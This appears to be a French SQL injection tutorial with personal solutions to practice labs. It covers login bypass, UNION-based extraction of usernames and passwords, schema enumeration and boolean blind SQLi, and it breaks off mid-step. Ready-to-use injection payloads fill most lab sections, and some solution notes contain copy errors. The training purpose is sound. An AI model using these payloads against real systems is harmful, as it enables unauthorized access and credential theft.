Injection SQL

I. Qu'est-ce que l'injection SQL (SQLi) ?

L'injection SQL (SQLi) est une vulnérabilité de sécurité Web qui permet à un attaquant
d'interférer avec les requêtes qu'une application adresse à sa base de données. Dans de nombreux
cas, un attaquant peut modifier ou supprimer ces données, provoquant des modifications
persistantes du contenu ou du comportement de l’application. Dans certaines situations, un
attaquant peut intensifier une attaque par injection SQL pour compromettre le serveur sous-
jacent ou une autre infrastructure principale, ou effectuer une attaque par déni de service.
II. Quel est l'impact d'une attaque par injection SQL réussie ?
Une attaque par injection SQL réussie peut entraîner un accès non autorisé à des données
sensibles, telles que des mots de passe, des détails de carte de crédit ou des informations
personnelles sur l'utilisateur. De nombreuses violations de données très médiatisées ces dernières
années ont été le résultat d'attaques par injection SQL, entraînant des atteintes à la réputation et
des amendes réglementaires. Dans certains cas, un attaquant peut obtenir une porte dérobée
persistante dans les systèmes d'une organisation, entraînant une compromission à long terme qui
peut passer inaperçue pendant une période prolongée.
III. Exemples d'injection SQL
Il existe une grande variété de vulnérabilités, d'attaques et de techniques d'injection SQL, qui
surviennent dans différentes situations. Voici quelques exemples courants d'injection SQL :
Récupération des données masquées , où vous pouvez modifier une requête SQL pour
renvoyer des résultats supplémentaires.
Subversion de la logique de l'application , où vous pouvez modifier une requête pour
interférer avec la logique de l'application.
Attaques UNION , où vous pouvez récupérer des données à partir de différentes tables
de base de données.
Examen de la base de données , où vous pouvez extraire des informations sur la version
et la structure de la base de données.
Injection SQL aveugle , où les résultats d'une requête que vous contrôlez ne sont pas
renvoyés dans les réponses de l'application.

A. Récupération des données cachées

Considérez une application d'achat qui affiche des produits dans différentes catégories. Lorsque
l'utilisateur clique sur la catégorie Cadeaux, son navigateur demande l'URL : [Link]
[Link]/products?category=Gifts
Cela amène l'application à effectuer une requête SQL pour récupérer les détails des produits
concernés dans la base de données : SELECT * FROM products WHERE category = 'Gifts'
AND released = 1
Cette requête SQL demande à la base de données de renvoyer :

tous les détails (*)

de la table des produits
où la catégorie est Cadeaux
et libéré est 1.

La restriction released = 1 est utilisée pour masquer des produits qui ne sont pas commercialisés. Pour
les produits inédits, vraisemblablement released = 0. L'application n'implémente aucune défense contre
les attaques par injection SQL, donc un attaquant peut construire une attaque comme :

[Link]

Cela se traduit par la requête SQL :

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

L'essentiel ici est que la séquence à double tiret -- est un indicateur de commentaire en SQL et signifie
que le reste de la requête est interprété comme un commentaire. Cela supprime effectivement le reste
de la requête, de sorte qu'elle n'inclut plus AND released = 1. Cela signifie que tous les produits sont
affichés, y compris les produits inédits.

En allant plus loin, un attaquant peut faire en sorte que l'application affiche tous les produits de
n'importe quelle catégorie, y compris des catégories qu'il ne connaît pas :

[Link]

Cela se traduit par la requête SQL :

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

La requête modifiée renverra tous les éléments dont la catégorie est Cadeaux ou 1 est égal à 1.
Comme 1=1est toujours vrai, la requête renverra tous les éléments.

Lab : Vulnérabilité d'injection SQL dans la clause WHERE permettant la récupération de

données cachées.
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de
produit. Lorsque l'utilisateur sélectionne une catégorie, l'application exécute une requête SQL
comme celle-ci :

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Pour résoudre l'atelier, effectuez une attaque par injection SQL qui amène l'application à afficher
les détails de tous les produits de n'importe quelle catégorie, qu'ils soient commercialisés ou non.
Solution :
SQL Injection : Product Catogory Filter

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Goal: Afficher les détails de tous les produits de n'importe quelle catégorie, qu'ils soient
commercialisés ou non.
Analysis :
BurpSuite : '+OR+1=1--

SELECT * FROM products WHERE category = '--

SELECT * FROM products WHERE category = 'OR 1=1 --

B. Subversion de la logique d'application

Considérez une application qui permet aux utilisateurs de se connecter avec un nom d'utilisateur
et un mot de passe. Si un utilisateur soumet le nom d'utilisateur wiener et le mot de
passe bluecheese, l'application vérifie les informations d'identification en exécutant la requête
SQL suivante :

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

Si la requête renvoie les détails d'un utilisateur, la connexion est réussie. Sinon, il est rejeté.
Ici, un attaquant peut se connecter en tant que n'importe quel utilisateur sans mot de passe
simplement en utilisant la séquence de commentaires SQL --pour supprimer la vérification du
mot de passe de la WHERE clause de la requête. Par exemple, la soumission du nom
d'utilisateur administrator'--et d'un mot de passe vide entraîne la requête suivante :

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Cette requête renvoie l'utilisateur dont le nom d'utilisateur est administrator et connecte avec
succès l'attaquant en tant que cet utilisateur.
Lab : Vulnérabilité d'injection SQL permettant le contournement de la connexion
Cet atelier contient une vulnérabilité d'injection SQL dans la fonction de connexion. Pour
résoudre l'atelier, effectuez une attaque par injection SQL qui se connecte à l'application en tant
qu'utilisateur administrator.
Solution :
SQL Injection: Fonctionnalité de connection
Goal: une attaque par injection SQL qui se connecte à l'application en tant
qu'utilisateur administrator.
Analysis :
BurpSuite : administrator'--
Select firstname From users where username=’admin’ and password=’admin’
Select firstname From users where username=’ and password=’admin’
Select firstname From users where username=’administrator’--‘ and password=’admin’

C. Récupérer des données d'autres tables de base de données

Dans les cas où les résultats d'une requête SQL sont renvoyés dans les réponses de l'application,
un attaquant peut exploiter une vulnérabilité d'injection SQL pour récupérer des données à partir
d'autres tables de la base de données. Cela se fait à l'aide du UNION mot-clé, qui vous permet
d'exécuter une SELECT requête supplémentaire et d'ajouter les résultats à la requête d'origine.
Par exemple, si une application exécute la requête suivante contenant l'entrée utilisateur
"Cadeaux" :

SELECT name, description FROM products WHERE category = 'Gifts'

alors un attaquant peut soumettre l'entrée :

' UNION SELECT username, password FROM users--

L'application renverra alors tous les noms d'utilisateur et mots de passe ainsi que les noms et les
descriptions des produits.
D. Attaques UNION par injection SQL
Lorsqu'une application est vulnérable à l'injection SQL et que les résultats de la requête sont
renvoyés dans les réponses de l'application, le UNION mot clé peut être utilisé pour extraire des
données d'autres tables de la base de données. Cela se traduit par une attaque UNION par
injection SQL. Le UNION mot clé vous permet d'exécuter une ou plusieurs requêtes
supplémentaires SELECT et d'ajouter les résultats à la requête d'origine. Par exemple:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Cette requête SQL renverra un ensemble de résultats unique avec deux colonnes, contenant les
valeurs des colonnes a et b dans table1 et des colonnes c et d dans table2.
Pour mener une attaque UNION par injection SQL, vous devez vous assurer que votre attaque
répond à ces deux exigences. Cela implique généralement de determiner:
Combien de colonnes sont renvoyées par la requête d'origine ?
Quelles colonnes renvoyées par la requête d'origine sont d'un type de données approprié pour
contenir les résultats de la requête injectée ?
1) Détermination du nombre de colonnes requises dans une attaque UNION par
injection SQL
Lors de l'exécution d'une attaque UNION par injection SQL, il existe deux méthodes efficaces
pour déterminer le nombre de colonnes renvoyées par la requête d'origine.
La première méthode consiste à injecter une série de ORDER BY clauses et à incrémenter
l'index de colonne spécifié jusqu'à ce qu'une erreur se produise. Par exemple, en supposant que le
point d'injection est une chaîne entre guillemets dans la WHERE clause de la requête d'origine,
vous soumettriez :
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
La deuxième méthode consiste à soumettre une série de UNION SELECT charges utiles
spécifiant un nombre différent de valeurs nulles :

' UNION SELECT NULL--

' UNION SELECT NULL,NULL--

' UNION SELECT NULL,NULL,NULL--

NB :
Sur Oracle, chaque SELECT requête doit utiliser le FROM mot-clé et spécifier une table
valide. Il existe une table intégrée sur Oracle appelée dual qui peut être utilisée à cette fin. Ainsi,
les requêtes injectées sur Oracle devraient ressembler à:
' UNION SELECT NULL FROM DUAL--
Les charges utiles décrites utilisent la séquence de commentaires à double tiret --pour commenter
le reste de la requête d'origine après le point d'injection. Sur MySQL, la séquence à double tiret
doit être suivie d'un espace. Alternativement, le caractère dièse # peut être utilisé pour identifier
un commentaire.
Lab : Attaque UNION par injection SQL, déterminant le nombre de colonnes renvoyées par la
requête
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application, vous pouvez donc utiliser
une attaque UNION pour récupérer des données à partir d'autres tables. La première étape d'une
telle attaque consiste à déterminer le nombre de colonnes renvoyées par la requête. Vous
utiliserez ensuite cette technique dans les laboratoires suivants pour construire l'attaque
complète. Pour résoudre l'atelier, déterminez le nombre de colonnes renvoyées par la requête en
effectuant une attaque UNION par injection SQL qui renvoie une ligne supplémentaire contenant
des valeurs nulles.
Solution :
SQL Injection: le filtre de catégorie de produit
Goal: une attaque par injection SQL qui se connecte à l'application en tant
qu'utilisateur administrator.
Analysis :
BurpSuite : '+UNION+SELECT+NULL--
SQL Attack Way1: 'UNION SELECT NULL,NULL--

SQL Attack Way2: ‘ ORDER BY 1 –

2) Recherche de colonnes avec un type de données utile dans une attaque UNION par
injection SQL
La raison d'effectuer une attaque UNION par injection SQL est de pouvoir récupérer les résultats
d'une requête injectée. Généralement, les données intéressantes que vous souhaitez récupérer
seront sous forme de chaîne, vous devez donc trouver une ou plusieurs colonnes dans les
résultats de la requête d'origine dont le type de données est, ou est compatible avec, des données
de chaîne.
Ayant déjà déterminé le nombre de colonnes requises, vous pouvez sonder chaque colonne pour
tester si elle peut contenir des données de chaîne en soumettant une série de UNION SELECT
charges utiles qui placent une valeur de chaîne dans chaque colonne à tour de rôle. Par exemple,
si la requête renvoie quatre colonnes, vous devez soumettre :
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Lab : Attaque UNION par injection SQL, recherche d'une colonne contenant du texte
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application, vous pouvez donc utiliser
une attaque UNION pour récupérer des données à partir d'autres tables. Pour construire une telle
attaque, vous devez d'abord déterminer le nombre de colonnes renvoyées par la requête. Vous
pouvez le faire en utilisant une technique que vous avez apprise dans un atelier
précédent . L'étape suivante consiste à identifier une colonne compatible avec les données de
chaîne. L'atelier fournira une valeur aléatoire que vous devrez faire apparaître dans les résultats
de la requête. Pour résoudre l'atelier, effectuez une attaque UNION par injection SQL qui
renvoie une ligne supplémentaire contenant la valeur fournie. Cette technique vous aide à
déterminer quelles colonnes sont compatibles avec les données de chaîne.
Solution :
SQL Injection: le filtre de catégorie de produit
Goal: effectuez une attaque UNION par injection SQL qui renvoie une ligne supplémentaire
contenant la valeur fournie. Cette technique vous aide à déterminer quelles colonnes sont
compatibles avec les données de chaîne.
Analysis :
BurpSuite : '+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+'abcdef',NULL,NULL--

Step1: Détermine le nombre de colonne

SQL Attack Way1: 'UNION SELECT NULL,NULL--

SQL Attack Way2: ‘ ORDER BY 1 –

Step2: Détermine le type de donnée dans la colonne

Select a , b, c from table1 UNION select NULL,NULL—

‘order by 3

‘UNION select ‘a’,NULL,NULL—

‘’UNION select NULL,’a’,NULL— second colonne accpete data string

‘UNION select NULL,NULL,’a’—

Tech gifts' UNION select NULL, '4PtTGS' , NULL--

3) Utiliser une attaque UNION par injection SQL pour récupérer des données
intéressantes
Lorsque vous avez déterminé le nombre de colonnes renvoyées par la requête d'origine et
identifié les colonnes pouvant contenir des données de chaîne, vous êtes en mesure de récupérer
des données intéressantes. Supposer que: La requête d'origine renvoie deux colonnes, qui
peuvent toutes deux contenir des données de chaîne. Le point d'injection est une chaîne entre
guillemets dans la WHERE clause. La base de données contient une table appelée users avec les
colonnes username et password.
Dans cette situation, vous pouvez récupérer le contenu de la users table en soumettant l'entrée :

' UNION SELECT username, password FROM users--

Bien sûr, l'information cruciale nécessaire pour effectuer cette attaque est qu'il existe une table
appelée users avec deux colonnes appelées username et password. Sans ces informations, vous
essaieriez de deviner les noms des tables et des colonnes. En fait, toutes les bases de données
modernes offrent des moyens d'examiner la structure de la base de données, afin de déterminer
les tables et les colonnes qu'elle contient.
Lab : Attaque UNION par injection SQL, récupération de données à partir d'autres tables
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application, vous pouvez donc utiliser
une attaque UNION pour récupérer des données à partir d'autres tables. Pour construire une telle
attaque, vous devez combiner certaines des techniques que vous avez apprises dans les ateliers
précédents. La base de données contient une table différente appelée users, avec des colonnes
appelées username et password. Pour résoudre le laboratoire, effectuez une attaque UNION par
injection SQL qui récupère tous les noms d'utilisateur et mots de passe, et utilisez les
informations pour vous connecter en tant administrator qu'utilisateur.
Solution:
SQL Injection Product Category filter.
GOAL: Output the username and password in the users table
Analysis:
BurpSuite '+UNION+SELECT+username,+password+FROM+users—
Determine of columns that the vulnerable of the columns.
' ORDER BY 1—
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, NULL—
' UNION SELECT ‘a’, ‘a’—
'UNION SELECT username, password FROM users—
4) Récupération de plusieurs valeurs dans une seule colonne
Dans l'exemple précédent, supposons plutôt que la requête ne renvoie qu'une seule colonne.
Vous pouvez facilement récupérer plusieurs valeurs ensemble dans cette colonne unique en
concaténant les valeurs ensemble, en incluant idéalement un séparateur approprié pour vous
permettre de distinguer les valeurs combinées. Par exemple, sur Oracle, vous pouvez soumettre
l'entrée :

' UNION SELECT username || '~' || password FROM users--

Cela utilise la séquence à double canal ||qui est un opérateur de concaténation de chaînes sur
Oracle. La requête injectée concatène les valeurs des champs username et password, séparées par
le ~caractère. Les résultats de la requête vous permettront de lire tous les noms d'utilisateur et
mots de passe, par exemple :

...

administrator~s3cure

wiener~peter

carlos~montoya

Lab: Attaque UNION par injection SQL, récupérant plusieurs valeurs dans une seule colonne
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application afin que vous puissiez
utiliser une attaque UNION pour récupérer des données à partir d'autres tables. La base de
données contient une table différente appelée users, avec des colonnes appelées username
et password. Pour résoudre le laboratoire, effectuez une attaque UNION par injection SQL qui
récupère tous les noms d'utilisateur et mots de passe, et utilisez les informations pour vous
connecter en tant administrator qu'utilisateur.
Solution:
SQL Iinjection Product Category filter.
GOAL: Retrieve all the username and password and login as the admin
Determine of columns that the vulnerable of the columns.
' ORDER BY 1--
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, NULL--
' UNION SELECT ‘a’, ‘a’--
Output data from other tables
'UNION SELECT NULL, username FROM users--
'UNION SELECT NULL, password FROM users--
UNION SELECT NULL, version()--
'UNION SELECT NULL, username || '*' || password FROM users--
administrator*6qkalzqm385gfp092p8i,carlos*id2buyc8shrdylduqj3f;
wiener*1g7j3zzheecdv6mlxaa1
Concaténation de chaînes
[Link]
IV. Examen de la base de données
Suite à l'identification initiale d'une vulnérabilité d'injection SQL, il est généralement utile
d'obtenir des informations sur la base de données elle-même. Ces informations peuvent souvent
ouvrir la voie à une exploitation ultérieure. Vous pouvez interroger les détails de la version de la
base de données. La façon dont cela est fait dépend du type de base de données, vous pouvez
donc déduire le type de base de données à partir de la technique qui fonctionne. Par exemple, sur
Oracle, vous pouvez exécuter :

SELECT * FROM v$version

Vous pouvez également déterminer quelles tables de base de données existent et quelles
colonnes elles contiennent. Par exemple, sur la plupart des bases de données, vous pouvez
exécuter la requête suivante pour répertorier les tables :
 SELECT * FROM information_schema.tables

a) Interrogation du type et de la version de la base de données

Différentes bases de données fournissent différentes manières d'interroger leur version. Vous
devez souvent essayer différentes requêtes pour en trouver une qui fonctionne, ce qui vous
permet de déterminer à la fois le type et la version du logiciel de base de données.
Les requêtes pour déterminer la version de la base de données pour certains types de bases de
données populaires sont les suivantes :

Type de base de données Mettre en doute

Microsoft, MySQL SELECT @@version

Oracle SELECT * FROM v$version

PostgreSQLName SELECT version()

Par exemple, vous pouvez utiliser une UNION attaque avec l'entrée suivante :

' UNION SELECT @@version--

Cela peut renvoyer une sortie comme celle-ci, confirmant que la base de données est Microsoft
SQL Server et la version utilisée :

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)

Mar 18 2018 [Link]

Copyright (c) Microsoft Corporation

Lab : Attaque par injection SQL, interrogeant le type et la version de la base de données sur
Oracle
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Vous
pouvez utiliser une attaque UNION pour récupérer les résultats d'une requête injectée. Pour
résoudre l'atelier, affichez la chaîne de version de la base de données.
Solution :
SQL Iinjection Product Category filter.
GOAL: affichez la chaîne de version de la base de données.
Analysis:
Determine of columns that the vulnerable of the columns.
' ORDER BY 1--
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, NULL--
' UNION SELECT 'a', 'a' from DUAL—
Determine the version of the database
SELECT Banner from v$version
' UNION SELECT banner, NULL from v$version--

Lab : Attaque par injection SQL, interrogeant le type et la version de la base de données sur
MySQL et Microsoft

Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Vous
pouvez utiliser une attaque UNION pour récupérer les résultats d'une requête injectée. Pour
résoudre l'atelier, affichez la chaîne de version de la base de données.

Solution :
SQL Iinjection Product Category
GOAL: affichez la chaîne de version de la base de données.
Analysis:
Determine of columns that the vulnerable of the columns.
' order by 1#
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, ‘a’#
Determine the version of the database
SELECT @@version
' UNION SELECT @@version, NULL#
 b) Lister le contenu de la base de données
La plupart des types de bases de données (à l'exception notable d'Oracle) ont un ensemble de
vues appelé le schéma d'information qui fournit des informations sur la base de données.
Vous pouvez interroger information_schema.tables pour répertorier les tables de la base de
données :

SELECT * FROM information_schema.tables

Cela renvoie une sortie comme celle-ci :

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE

=====================================================

MyDatabase dbo Products BASE TABLE

MyDatabase dbo Users BASE TABLE

MyDatabase dbo Feedback BASE TABLE

Cette sortie indique qu'il existe trois tables, appelées Products, Userset Feedback.
Vous pouvez ensuite interroger information_schema.columnspour répertorier les colonnes dans
des tables individuelles :

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Cela renvoie une sortie comme celle-ci :

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME

DATA_TYPE

=================================================================
 MyDatabase dbo Users UserId int

MyDatabase dbo Users Username varchar

MyDatabase dbo Users Password varchar

Cette sortie affiche les colonnes de la table spécifiée et le type de données de chaque colonne
Lab: Attaque par injection SQL, répertoriant le contenu de la base de données sur des bases de
données non Oracle
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application afin que vous puissiez
utiliser une attaque UNION pour récupérer des données à partir d'autres tables. L'application a
une fonction de connexion et la base de données contient une table contenant les noms
d'utilisateur et les mots de passe. Il faut déterminer le nom de cette table et les colonnes qu'elle
contient, puis récupérer le contenu de la table pour obtenir le nom d'utilisateur et le mot de passe
de tous les utilisateurs. Pour résoudre le laboratoire, connectez-vous en tant administrator
qu'utilisateur.
Solution :
SQL Iinjection Product Category
GOAL: déterminer le nom de cette table et les colonne recuperer le contenu de la table pour
obtenir le nom d’utilisateur et le mot de passe et connecter en tant admin
Analysis:
Determine of columns that the vulnerable of the columns.
' order by 1# ou ' order by 1--
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, ‘a’--
Determine the version of the database
SELECT @@version
' UNION SELECT @@version, NULL—Not Microsft
' UNION SELECT version(), NULL-- PostgresSQL
List of table names databases
SELECT * FROM information_schema.tables

' UNION SELECT table_name, NULL from information_schema.tables--

users_twiuiu
The column names of the tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-
NAME-HERE'

' UNION SELECT column_name, NULL from information_schema.columns WHERE

table_name =‘ users_twiuiu’--

username_yewfip password_wlkxly

The names et password

‘ UNION SELECT username_yewfip, password_wlkxly from users_twiuiu--

Administrator, gg80i6kxotp67hcrdw5t

c) Équivalent au schéma d'information sur Oracle

Sur Oracle, vous pouvez obtenir les mêmes informations avec des requêtes légèrement
différentes.
Vous pouvez lister les tables en interrogeant all_tables :

SELECT * FROM all_tables

Et vous pouvez lister les colonnes en interrogeantall_tab_columns :

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Lab: Attaque par injection SQL, listant le contenu de la base de données sur Oracle
Cet atelier contient une vulnérabilité d'injection SQL dans le filtre de catégorie de produit. Les
résultats de la requête sont renvoyés dans la réponse de l'application afin que vous puissiez
utiliser une attaque UNION pour récupérer des données à partir d'autres tables. L'application a
une fonction de connexion et la base de données contient une table contenant les noms
d'utilisateur et les mots de passe. Il faut déterminer le nom de cette table et les colonnes qu'elle
contient, puis récupérer le contenu de la table pour obtenir le nom d'utilisateur et le mot de passe
de tous les utilisateurs. Pour résoudre le laboratoire, connectez-vous en tant administrator
qu'utilisateur.
Solution :
SQL Iinjection Product Category
GOAL: déterminer le nom de cette table et les colonne récupérer le contenu de la table pour
obtenir le nom d’utilisateur et le mot de passe et connecter en tant admin
Analysis:
Determine of columns that the vulnerable of the columns.
' order by 1# ou ' order by 1--
Determine the data type of the columns
Select a, b from products where category=Gifts
' UNION SELECT ‘a’, NULL--
' UNION SELECT 'a', 'a' from DUAL—
Determine the version of the database
SELECT Banner from v$version
' UNION SELECT banner, NULL from v$version--
List of table names databases
SELECT * FROM all_tables

' UNION SELECT table_name, NULL from all_tables--

USERS_DRMKJU
The column names of the tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

' UNION SELECT column_name, NULL from all_tab_columns WHERE table_name =‘

USERS_DRMKJU’--
USERNAME_UYNDBZ PASSWORD_TJMYNJ

List of The usernames et password

‘ UNION SELECT USERNAME_UYNDBZ, PASSWORD_TJMYNJ from USERS_DRMKJU--

Administrator, n2th89366772azdloq5q

V. Vulnérabilités d'injection SQL aveugle

De nombreuses instances d'injection SQL sont des vulnérabilités aveugles. Cela signifie que
l'application ne renvoie pas les résultats de la requête SQL ni les détails des erreurs de base de
données dans ses réponses. Les vulnérabilités aveugles peuvent toujours être exploitées pour
accéder à des données non autorisées, mais les techniques impliquées sont généralement plus
compliquées et difficiles à mettre en œuvre. Selon la nature de la vulnérabilité et la base de
données impliquée, les techniques suivantes peuvent être utilisées pour exploiter les
vulnérabilités d'injection SQL aveugle :
Vous pouvez modifier la logique de la requête pour déclencher une différence détectable dans la
réponse de l'application en fonction de la véracité d'une seule condition. Cela peut impliquer
l'injection d'une nouvelle condition dans une logique booléenne ou le déclenchement
conditionnel d'une erreur telle qu'une division par zéro. Vous pouvez déclencher
conditionnellement un délai dans le traitement de la requête, ce qui vous permet de déduire la
véracité de la condition en fonction du temps nécessaire à l'application pour répondre. Vous
pouvez déclencher une interaction réseau hors bande à l'aide des techniques OAST . Cette
technique est extrêmement puissante et fonctionne dans des situations où les autres techniques ne
fonctionnent pas. Souvent, vous pouvez exfiltrer directement les données via le canal hors bande,
par exemple en plaçant les données dans une recherche DNS pour un domaine que vous
contrôlez
1. Qu'est-ce que l'injection SQL aveugle ?
L'injection SQL aveugle survient lorsqu'une application est vulnérable à l'injection SQL, mais
que ses réponses HTTP ne contiennent pas les résultats de la requête SQL pertinente ni les
détails des erreurs de base de données. Avec les vulnérabilités d'injection SQL aveugle, de
nombreuses techniques telles que UNION les attaques , ne sont pas efficaces car elles reposent
sur la possibilité de voir les résultats de la requête injectée dans les réponses de l'application. Il
est toujours possible d'exploiter l'injection SQL aveugle pour accéder à des données non
autorisées, mais différentes techniques doivent être utilisées.
2. Exploiter l'injection SQL aveugle en déclenchant des réponses conditionnelles
Considérez une application qui utilise des cookies de suivi pour recueillir des analyses sur
l'utilisation. Les requêtes adressées à l'application incluent un en-tête de cookie comme celui-ci :
Exploiter l'injection SQL aveugle en déclenchant des réponses conditionnelles
Considérez une application qui utilise des cookies de suivi pour recueillir des analyses sur
l'utilisation. Les requêtes adressées à l'application incluent un en-tête de cookie comme celui-ci :

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Lorsqu'une requête contenant un TrackingIdcookie est traitée, l'application détermine s'il s'agit
d'un utilisateur connu à l'aide d'une requête SQL comme celle-ci :

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Cette requête est vulnérable à l'injection SQL, mais les résultats de la requête ne sont pas
renvoyés à l'utilisateur. Cependant, l'application se comporte différemment selon que la requête
renvoie des données. S'il renvoie des données (parce qu'un reconnu TrackingId a été soumis), un
message "Bienvenue" s'affiche dans la page.
Ce comportement est suffisant pour pouvoir exploiter la vulnérabilité d'injection SQL aveugle et
récupérer des informations en déclenchant différentes réponses de manière conditionnelle, en
fonction d'une condition injectée. Pour voir comment cela fonctionne, supposons que deux
requêtes soient envoyées contenant TrackingId tour à tour les valeurs de cookie suivantes :

…xyz' AND '1'='1

…xyz' AND '1'='2

La première de ces valeurs entraînera la requête à renvoyer des résultats, car la AND
'1'='1condition injectée est vraie, et donc le message "Bienvenue" sera affiché. Alors que la
deuxième valeur fera que la requête ne retournera aucun résultat, car la condition injectée est
fausse, et donc le message "Welcome back" ne sera pas affiché. Cela nous permet de déterminer
la réponse à n'importe quelle condition injectée, et ainsi d'extraire les données un bit à la fois.
Par exemple, supposons qu'il existe une table appelée Users avec les colonnes Username
et Password, et un utilisateur appelé Administrator. Nous pouvons systématiquement déterminer
le mot de passe de cet utilisateur en envoyant une série d'entrées pour tester le mot de passe un
caractère à la fois.
Pour ce faire, nous commençons par l'entrée suivante :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =

'Administrator'), 1, 1) > 'm

Cela renvoie le message "Welcome back", indiquant que la condition injectée est vraie, et donc
le premier caractère du mot de passe est supérieur à m.
Ensuite, nous envoyons l'entrée suivante :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =

'Administrator'), 1, 1) > 't

Cela ne renvoie pas le message "Welcome back", indiquant que la condition injectée est fausse,
et donc le premier caractère du mot de passe n'est pas supérieur à t.
Finalement, nous envoyons l'entrée suivante, qui renvoie le message "Welcome back",
confirmant ainsi que le premier caractère du mot de passe est s :
 xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =

'Administrator'), 1, 1) = 's

Nous pouvons continuer ce processus pour déterminer systématiquement le mot de passe

complet de l' Administrator utilisateur.
Lab : Injection SQL en aveugle avec réponses conditionnelles
Cet atelier contient une vulnérabilité d'injection SQL aveugle . L'application utilise un cookie de
suivi pour l'analyse et exécute une requête SQL contenant la valeur du cookie soumis. Les
résultats de la requête SQL ne sont pas renvoyés et aucun message d'erreur n'est affiché. Mais
l'application inclut un message "Bienvenue" dans la page si la requête renvoie des lignes. La base
de données contient une table différente appelée users, avec des colonnes appelées username
et password.
Vous devez exploiter la vulnérabilité d'injection SQL aveugle pour connaître le mot de passe de
l' administrator utilisateur. Pour résoudre le laboratoire, connectez-vous en tant administrator
qu'utilisateur.
Solution :
SQL Blind SQL Injection with conditional responses
Vulnerable parameter: tracking cookie
GOAL: connaître le mot de passe de l' administrator et se connecte en tant que admin
Analysis:
1 Confirme thqt the parameter is vulnerable to blind SQLi.
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM’
If the tracking id exists query returns value—Welcome back message
If the tracking id do not exists query returns nothings— no Welcome back message
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM' and 1=1--';
trackingId=’ XlLyYPAC2VjPkKIM'' AND '1'='1

--TRUE—Welcome back
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM' and 1=0--';
trackingId=’ XlLyYPAC2VjPkKIM'' AND '1'='0

--FALSE—no Welcome back

2 Confrme thate we have a users tables
Vérifiez que la condition est vraie, confirmant qu'il existe une table appelée users
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM' and (select 'x'
from users LIMIT 1)='x'--; Users table exists in the database
trackingId=’ XlLyYPAC2VjPkKIM'' AND (SELECT 'a' FROM users LIMIT 1)='a

3 Confirme that usernames admin exists users tables

Vérifiez que la condition est vraie, confirmant qu'il existe un utilisateur appelé administrator.
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM' and (select
username from users where username='administrator')='administrator'—Admin users exists
trackingId=’
XlLyYPAC2VjPkKIM' AND (SELECT 'a' FROM users WHERE
username='administrator')='a

4 Enumerate the length the password of the admin user

Consiste à déterminer le nombre de caractères dans le mot de passe de l' administrator
utilisateur.
Cette condition doit être vraie, confirmant que le mot de passe est supérieur à 1 caractère.
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM ' and (select
username from users where username='administrator' and LENGTH
(password)>20)='administrator'—Password is exactly 20 characters
' AND (SELECT 'a' FROM users WHERE username='administrator' AND
LENGTH(password)>1)='a

5 consiste à tester le caractère à chaque position pour déterminer sa valeur. Cela implique un
nombre beaucoup plus important de requêtes, vous devez donc utiliser Burp Intruder . Envoyez
la requête sur laquelle vous travaillez à Burp Intruder, en utilisant le menu contextuel.
trackingId=’ XlLyYPAC2VjPkKIM ' AND (SELECT SUBSTRING(password,1,1) FROM
users WHERE username='administrator')='a

Cela utilise la SUBSTRING()fonction pour extraire un seul caractère du mot de passe et le tester
par rapport à une valeur spécifique. Notre attaque passera par chaque position et valeur possible,
testant chacune à son tour.
Placez des marqueurs de position de charge utile autour du acaractère final dans la valeur du
cookie. Pour ce faire, sélectionnez uniquement le a, et cliquez sur le bouton "Ajouter §". Vous
devriez alors voir ce qui suit comme valeur de cookie (notez les marqueurs de position de charge
utile) : ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE
